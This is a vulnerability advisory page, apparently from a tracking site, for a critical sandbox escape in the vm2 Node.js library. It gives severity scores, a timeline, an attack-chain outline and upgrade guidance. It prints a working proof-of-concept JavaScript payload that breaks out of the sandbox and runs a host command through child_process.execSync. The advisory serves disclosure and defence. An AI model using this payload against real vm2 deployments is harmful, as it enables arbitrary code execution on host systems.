Skip to main content

vm2 CVE-2026-47698

| EUVDEUVD-2026-60459 CRITICAL
Improper Control of Dynamically-Managed Code Resources (CWE-913)
2026-08-17 https://github.com/patriksimek/vm2 GHSA-cfcw-xp6x-25gj
9.8
CVSS 3.1 · Vendor: https://github.com/patriksimek/vm2
Share

Severity by source

Vendor (https://github.com/patriksimek/vm2) PRIMARY
9.8 CRITICAL
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
vuln.today AI
10.0 CRITICAL

vm2's model treats sandboxed code as attacker-controlled (PR:N), a published PoC gives AC:L, and escaping the sandbox to the host crosses a security authority so S:C with full C/I/A host impact.

3.1 AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
4.0 AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

Primary rating from Vendor (https://github.com/patriksimek/vm2).

CVSS VectorVendor: https://github.com/patriksimek/vm2

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

Lifecycle Timeline

4
Patch available
Aug 17, 2026 - 22:03 EUVD
Source Code Evidence Fetched
Aug 17, 2026 - 18:36 vuln.today
Analysis Generated
Aug 17, 2026 - 18:36 vuln.today
CVE Published
Aug 17, 2026 - 17:32 github-advisory
CRITICAL 9.8

Blast Radius

ecosystem impact
† from your stack dependencies † transitive graph · vuln.today resolves 4-path depth
  • 114 npm packages depend on vm2 (5 direct, 109 indirect)

Ecosystem-wide dependent count for version 3.11.6.

DescriptionCVE.org

Summary

VM2 suffers from a sandbox breakout vulnerability. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system.

Details

The fix for https://github.com/patriksimek/vm2/security/advisories/GHSA-v6mx-mf47-r5wg is insufficient and can be bypassed by replacing indirectcall.call(dangerousmutator, ...) with indirectcall.call(indirectcall, dangerousmutator, ...) since indirect calls are not seen as dangerous.

PoC

js
const {VM} = require(".");
const vm = new VM();
console.log(vm.run(`
const getProto = Buffer.call.call(Buffer.call, {}.__lookupGetter__, Buffer, "__proto__");
const setProto = Buffer.call.call(Buffer.call, {}.__lookupSetter__, Buffer, "__proto__");

async function f() {
  try {
    await WebAssembly.compileStreaming();
  } catch(e) {
    Buffer.call.call(Buffer.call, setProto, Buffer.call.call(Buffer.call, getProto, e), null);
  }

  try {
    await WebAssembly.compileStreaming();
  } catch(e) {
    e.constructor.constructor("return process")().mainModule.require('child_process').execSync('touch pwned');
  }
}

f();
`));

Impact

Attackers can perform Remote Code Execution under the assumption that the attacker can run arbitrary code execution inside the context of a vm2 sandbox.

AnalysisAI

Sandbox escape in the vm2 Node.js sandboxing library (npm, versions <= 3.11.5) lets code running inside the sandbox reach host prototype mutators and execute arbitrary OS commands on the host. It bypasses the earlier GHSA-v6mx-mf47-r5wg fix by stacking Function.prototype.call indirection so the dangerous __proto__ setter is no longer in the inspected position, then leaks a live host reference through a rejected WebAssembly.compileStreaming promise to pivot to child_process. …

Unlock full vulnerability intelligence

  • Risk assessment & exploitation conditions
  • Attack chain visualization
  • Remediation with exact patch versions
  • Threat intelligence from 22 sources
  • Personal watchlist & email alerts

Free forever · No credit card required

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata

Access
Submit untrusted JS to vm2 sandbox
Delivery
Stack Function.prototype.call indirection layers
Exploit
Bypass apply-trap dangerous-mutator check
Execution
Leak host reference via rejected WebAssembly promise
Persist
Reach host constructor and process object
Impact
Call child_process.execSync for host RCE

Vulnerability AssessmentAI

Exploitation Exploitation requires that the target application run attacker-controlled JavaScript inside a vm2 sandbox at version 3.11.5 or earlier - this is the exact and only prerequisite, and it is the library's normal intended use, so it is trivially met wherever vm2 evaluates untrusted input. … Additional conditions and limiting factors are described in the full assessment.
Risk Assessment The vendor-supplied CVSS 3.1 vector (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H, 9.8) rates this maximally severe, and the threat model matters: vm2's entire purpose is to execute attacker-supplied code, so the 'privileges' bar is effectively met by design and a reliable published PoC removes exploitation complexity. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in.
Exploit Scenario An application uses vm2 to run user-submitted JavaScript (for example a code-evaluation feature, template engine, or automation platform). An attacker submits the published PoC, which stacks Buffer.call indirection to bypass the prototype-mutator guard and leaks a host reference from a rejected WebAssembly.compileStreaming promise, then calls child_process.execSync to run OS commands on the host. …
Remediation Vendor-released patch: 3.11.6 - upgrade the vm2 dependency to 3.11.6 or later, which closes this bypass along with four other advisories (GHSA-gmc2-2x9w-cgh9, GHSA-m283-3h24-438v, GHSA-m5w8-4gq2-6f8x, GHSA-v836-6xw4-9cx3); the release notes state there are no API changes for valid configurations, though users of builtin: ['*'] that depend on os or dns must re-introduce them via require.mock/require.override. … Detailed patch versions, workarounds, and compensating controls in full report.

Recommended ActionAI

Within 24 hours, conduct an urgent asset inventory to identify all systems running vm2 versions 3.11.5 or earlier using software composition analysis tools; immediately disable or isolate affected services and block any external access to vm2-dependent endpoints. …

Sign in for detailed remediation steps and compensating controls.

Threat intelligence, references, and detailed analysis are available after sign-in.

Share

CVE-2026-47698 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy